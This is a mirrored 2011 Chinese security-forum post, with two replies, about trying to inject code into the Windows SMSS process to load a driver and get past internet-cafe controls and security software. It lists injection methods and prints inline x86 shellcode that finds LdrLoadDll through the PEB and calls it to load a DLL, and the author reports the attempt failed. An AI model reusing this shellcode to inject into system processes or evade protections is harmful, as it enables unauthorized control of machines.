BBYR Achieve
返回信息流
这是一条镜像帖。来源:北邮人论坛 / security / #32146同步于 2011/4/12
该镜像源已超过 30 天没有更新,可能在源站已被删除。
Security机器人发帖

注入SMSS最后以失败告终

ColdZenLeft
2011/4/12镜像同步2 回复
不知道最近怎么,想到去以注入的方式来过些XX软件,不过收效甚微。注入是个老技术了,不过貌似还是很有市场,貌似不用的话有的东西也没法活。 之前看到有人说道注入SMSS来加载驱动,我本是想尝试来网吧玩的,于是很有兴趣的想试验下。于是长达1天2夜的SMSS注入就开始了,可是最后的结果,哎,只能用悲剧形容。。。 首先SMSS是个很特殊的进程,其实它是个内核下的进程,由内核启动。它只有一个DLL——NTDLL 再来说说传统的注入吧: 1、SetWindowsHookEx。不可能,因为没窗口。 2、CreateRemoteThread。最后证明不可能,其实一开始我就觉得不可能,SMSS“几乎”(注意这个词)没有线程切换之类的,但是后来有个高手网友建议用LdrLoadDll...LdrLoadDll我是实现了(换别的都行),但是ShellCode死活在SMSS中跑不了。而且后来我在网上找到一个外文资料介绍这函数就点名道姓说道"exclude SMSS..." 3、SetThreadContext。不可能,原因基本同上。 4、注册表。其实我觉得这是最有可能的了,但是无奈我知道的都不可能,不过有传言说可以,比如某版鸽子就是这么玩的。我希望,有人可以交流下 5、内核模式,这个貌似可以,但是我觉得好像我就是过驱动加载吧?鸡蛋问题。 最后还是那个网友,提到用Patch的办法,我后来是用的inline,方式是直接ShellCode注入的,大概如下,运行时候修改些玩意: __asm { pushad pushfd // 保护现场 //这些还原代码由外部进行初始化 mov eax,0xEEEEEEEE mov bl,0xFF //存五个字节的内容 mov edx,0xDDDDDDDD //存需要写东西的地址 mov [edx],eax mov byte ptr [edx+4],bl //这些代码最后会重新初始化的 mov eax,fs:[0x30] mov eax,dword ptr [eax+0x0c] // Ldr : _PEB_LDR_DATA mov eax,dword ptr [eax+0x1c] // InInitializationOrderModuleList : _LIST_ENTRY mov eax,dword ptr [eax+0x08] // EntryInProgress mov edi,eax // edi = ntdll.dll首地址 mov eax,dword ptr [edi+3ch] // eax = PE首部 mov edx,dword ptr [eax+edi+78h] add edx,edi // edx = 引出表地址 mov ecx,dword ptr [edx+18h] // ecx = 输出函数的个数(NumberOfNames) mov ebx,dword ptr [edx+20h] add ebx,edi // ebx = 函数名地址(AddressOfNames) SEARCH: dec ecx mov esi,[ebx+ecx*4] add esi,edi mov eax,0x4c72644c cmp [esi],eax // 比较'LdrL' jne SEARCH mov eax,0x4464616f cmp [esi+4],eax // 比较'oadD' jne SEARCH cmp word ptr [esi+8],0x6c6c // 比较'll' jne SEARCH // 如果是LdrLoadDll(表明地址已找到) mov ebx,dword ptr [edx+24h] add ebx,edi // ebx = 序号数组的地址 mov ecx,dword ptr [ebx+ecx*2] // ecx = 计算出序号值 and ecx,0x0000ffff mov ebx,dword ptr [edx+1ch] add ebx,edi // ebx = 函数地址起始位置 mov eax,dword ptr [ebx+ecx*4] add eax,edi // eax = 利用序号值,得出LdrLoadDll的地址 //LdrLoadDllLdrLoadDll(NULL, 0, &uni_input, &hHandle); // 先存入UNISTRING的值到内存中 push 0x00000000 push 0x006C006C push 0x0064002E push 0x00740073 push 0x00650074 mov edx,esp //edx = UNISTRING的数据 // 预留存储空间 sub esp,0x0c mov dword ptr [esp+4],0x00120010 //10 00 12 00 (UNICODE前面两个字符) mov [esp+8],edx xor ecx,ecx mov [esp],ecx //初始化OUT指针 push esp //PHANDLE ModuleHandle mov ebx,esp add ebx,8 push ebx //PUNICODE_STRING ModuleFileName push 0 //ULONG Flags push 0 //PWCHAR PathToFile call eax // 维持平衡 add esp,0x20 //0xc+5*4=32 popfd popad // 还原现场 } __asm { _emit 0x90 // 155 _emit 0x90 _emit 0x90 _emit 0x90 _emit 0x90 // 需要还原原始代码,我这里就是打为5个字节最好 _emit 0xE9 // 160 _emit 0x90 _emit 0x90 _emit 0x90 _emit 0x90 } 最后,就是SMSS怎么激活了,我发现个问题:就是需要设个开机密码,然后进入系统后5秒内点击我的程序,原因有点复杂,主要是这样会使得SMSS进行一次SmpApiLoop的线程切换,这样就给了你一个机会运行函数...虽然这是Ring3的办法,但是我觉得没什么意义了,如果要这样加载驱动,还必须保证没有还原卡(这是最麻烦的了)。 但是最后结果也很不理想,SMSS加载的DLL可能都得另写,不是随便乱写一个都行的,这就是证明,不过也是悲剧: 额,貌似最后发现,DLL需要写NATIVE的,暂时先也就这么着了吧:
订阅后,新回复会通过你的通知中心匿名送达。
2 条回复
houlen机器人#1 · 2011/4/12
现在注入能过数字?没实用价值吧
ColdZenLeft机器人#2 · 2011/4/13
过啥数字啊,我是想过网吧呢! 不过这玩意无实用价值了,几乎就是试验而已,玩玩如何Ring3注入SMSS而已... 真没啥用,做完了才发现,不过唯一的意义就是:无论怎么说,以前觉得不大靠谱的会话进程注入反正是可以的。虽然没有亲眼见过,但是就算亲身参与过吧。